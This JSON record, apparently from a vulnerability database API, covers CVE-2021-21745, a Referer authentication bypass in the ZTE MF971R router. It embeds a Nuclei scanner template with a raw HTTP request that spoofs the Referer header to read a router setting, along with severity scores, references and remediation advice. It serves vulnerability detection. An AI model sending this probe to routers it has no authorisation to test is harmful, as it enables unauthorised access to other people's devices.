{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-21745/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-21745/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-21745/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-21745/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-21745/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-21745"},"sightings":{"href":"/api/v1/sightings/cve-2021-21745"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-21745.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2021-21745\n\ninfo:\n  name: ZTE MF971R - Referer authentication bypass\n  author: gy741\n  severity: medium\n  description: |\n    ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould\n    use this vulnerability to perform illegal authorization operations by sending a request to the user to click.\n  impact: |\n    An attacker can bypass authentication and gain unauthorized access to the router.\n  remediation: |\n    Apply the latest firmware update provided by ZTE to fix the authentication bypass vulnerability.\n  reference:\n    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1317\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-21745\n    - https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1019764\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2021-21745\n    cwe-id: CWE-352\n    epss-score: 0.55709\n    epss-percentile: 0.98995\n    cpe: cpe:2.3:o:zte:mf971r_firmware:v1.0.0b05:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: zte\n    product: mf971r_firmware\n  tags: cve2021,cve,zte,auth-bypass,router,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1\n        Host: {{Hostname}}\n        Referer: http://interact.sh/127.0.0.1.html\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'psw_fail_num_str\":\"[0-9]'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100992e8fb517ae584636a4bc5e8f7227876342ff41b099f5628cc0984cd271a4d702204aca55e9bc243327834ec4d888c1e07ce21ef94280b682cf3b5fd2796007d5e6:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-21745"}